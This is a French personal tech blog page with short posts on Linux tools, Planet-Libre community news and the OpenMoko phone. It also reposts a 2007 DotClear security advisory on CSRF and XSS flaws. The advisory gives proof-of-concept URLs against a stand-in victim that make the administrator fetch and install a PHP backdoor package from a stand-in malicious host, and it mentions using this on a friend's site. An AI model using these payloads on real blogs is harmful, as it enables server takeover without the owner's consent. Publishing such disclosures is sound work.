Le Blog de SckyzO

Vous pouvez mettre à jour la liste des ID pci et usb afin que votre hardware soit plus efficacement reconnu.
Si vous voulez télécharger une nouvelle version de la liste des ID USB et PCI

sudo update-usbids && sudo update-pciids

Articles relatifs

• Aucun article relatif.

GIP est un calculateur d’adresse IP qui s’intègre parfaitement avec l’environnement Gnome.
Il permet de calculer les adresses IP en fonction du masque qu’on lui donne, de calculer les sous-réseaux. Il donne les valeures binaires et hexadécimale d’une adresse IP, d’un masque réseau, de l’adresse réseau et de l’adresse de diffusion.

Ce petit logiciel très pratique pour les admins réseaux va éviter à certains de prendre leur petit cahier et de calculer tout l’adressage réseau à l’ancienne.

L’installation se fait soit via synaptique ou tout simplement :

sudo apt-get install gip

Quelques Screenshots :

Source : UbuntuGeek

Articles relatifs

• Aucun article relatif.

Le planet continu encore et toujours de grandir.
Depuis la v3 (.1)  du site, le planet-libre à vu l’ouverture
- D’une section “Mobile” accessible via : http://mobile.planet-libre.org
- D’un forum qui grandi de plus en plus : http://forum.planet-libre.org
- Et le petit dernier, mis en place par Scurz (naissance du projet sur le forum) est l’ouverture du planet sur l’IRC. J’invite donc tous les fans de l’IRC et de navarre à se rendre sur le channel IRC :
Salon hébergé sur : irc.freenode.org
Channel : #planet-libre

L’administration du Channel sera assuré par Scurz (ainsi que l’équipe des admins du forum). Le Channel permettra d’aider en temps réel les utilisateurs (lecteurs, bloggeurs) du planet, ainsi que de faire des réunions entre tous les collaborateurs et les membres qui animent le planet continuellement.

Merci encore à vous tous qui faites vivre le planet.

Articles relatifs

• Aucun article relatif.

Source : http://ar3av.free.fr/faille-dotclear.php

Bulletin de sécurité
http://ar3av.free.fr/faille-dotclear.php
=======================================

Software: DotClear
Date: 08 Juillet 2007
Versions affectées: 1.2.6 et versions antérieures / 2.0 beta 6 et versions antérieures
Type de la faille: CSRF & XSS
Découvreur: PsychoGun

DotClear est un blog populaire écrit en PHP dans lequel j’ai découvert de nombreuses vulnérabilités. Cette application web offre à son administrateur une interface de gestion qui permet de le configurer, mais le problème réside dans le fait que cette interface ne respecte pas les conventions rudimentaires de sécurité. Ainsi le blog ne vérifie jamais correctement la provenance des données qui lui sont envoyées, et c’est pourquoi il est possible de faire accomplir des actions à l’administrateur sans son consentement.

Pour peu qu’il soit logué sur son compte, on peut faire supprimer, activer ou désactiver des plugins à l’administrateur. On peut aussi lui faire ajouter des plugins infectés par des backdoor écrites en php et prendre, de cette manière, le contrôle du serveur. A noter que le plugin qui permet d’en ajouter d’autres fait partie de la configuration minimale de DotClear. J’ai déjà exploité cette faille pour faire une plaisanterie à un ami. Son site était composé d’un blog et d’un forum. J’ai posté une fausse image sur son forum qui réalisait une re-direction vers une url de ce type:

http://victim.com/dotclear/ecrire/tools.php?tool_url=http://www.malicious-website.com/malicious-file.pkg.gz&p=toolsmng

Sans le savoir, en ne cliquant sur aucun lien et en visualisant une page de son propre site, l’administrateur à installé une backdoor écrite en php sur son serveur. J’avais donc obtenu le contrôle de ce serveur grâce à une vulnérabilité de DotClear aussi stupéfiante que facile à exploiter. Mon fichier “malicious-file.pkg.gz” a été produit avec un outil de DotClear et il contenait des fichiers php qui ont donc été placés sur le serveur. Il ne devrait pas être possible de faire ce genre de choses, et c’est parce que DotClear n’utilise pas un système de token qu’il est vulnérable. Cette faille est présente partout ailleurs sur le blog.
On retrouve cette même faille dans la partie du blog sui sert à gérer les thèmes. Encore une fois on peut faire supprimer, activer ou désactiver des thèmes à l’administrateur. On peut aussi lui faire ajouter de nouveaux thèmes contenant des fichier php qui serviraient de backdoor. Voici un proof of concept :

http://victim.com/dotclear/ecrire/tools.php?tool_url=http://www.malicious-website.com/evil.pkg.gz&p=thememng

Lorsque l’administrateur clique sur ce lien ou lorsqu’il qu’il visualise une page web(qui peut être la sienne) qui contient ce lien(dans une image ou une iframe par exemple), les backdoors écrites en php sont alors copiés sur le serveur visé.

On peut faire mettre n’importe quoi à l’administrateur dans les champs de cette page:

http://victim.com/dotclear/ecrire/tools.php?p=blogconf

parce qu’encore une fois le blog ne vérifie pas la provenance des données, par ailleurs le champs contenant le nom du blog peut recevoir du code Javascript et peut par conséquent être utilisé pour mener à bien des attaques de type cross site scripting.

Sur cette page:

http://victim.com/dotclear/ecrire/tools.php?p=blogroll

On peut faire placer des nouveaux liens ou des nouvelles rubriques à l’administrateur. On peut aussi lui faire effacer des liens ou des rubriques. Cette page présente aussi une faille Xss car on peut placer du code javascript dans ses champs et celui-ci est à chaque fois interprété (dans la partie admin). Le javascript inséré dans le champs “rubrique” est lui aussi interprété sur la 1ère la page du blog(page visible pour tout le monde).
Il est très facile de faire créer à l’administrateur des profiles d’utilisateurs ayant les mêmes pouvoirs que lui. Il suffit de lui faire visiter une page qui contient un code HTML similaire à celui-ci:

============================

Lire la suite de l’article et des astuces sur le site officiel à la demande de l’auteur : http://ar3av.free.fr/faille-dotclear.php

Articles relatifs

• Aucun article relatif.

OpenMoko Neo 1973 est le premier téléphone Open Source. Les petits bidouilleurs vont pouvoir s’en donner à coeur joie, et transformer ce petit outil à leur guise !
Le plus surprenant c’est que ce téléphone est destiné au grand public !

Deux versions sont disponibles, l’une à 300$ et l’autre à 450$ (avec une carte d’acquisition en plus).

Hardware
The specifications :

FIC Neo1973:
* 120.7 x 62 x 18.5 (mm)
* 2.8″ VGA (480×640) TFT Screen
* Samsung s3c2410 SoC @ 266 MHz
* Global Locate AGPS chip
* Ti GPRS (2.5G not EDGE)
* Unpowered USB 1.1
* Touchscreen
* micro-sd slot
* 2.5mm audio jack
* 2 additional buttons
* 1200 mAh battery (charged over USB)
* 128 MB SDRAM
* 64 MB NAND Flash
* Bluetooth (2.0)

Alors, iPhone killer ou pas ?

source : Journal du Geek & Gizmodo (photo de l’appareil)

Articles relatifs

• Aucun article relatif.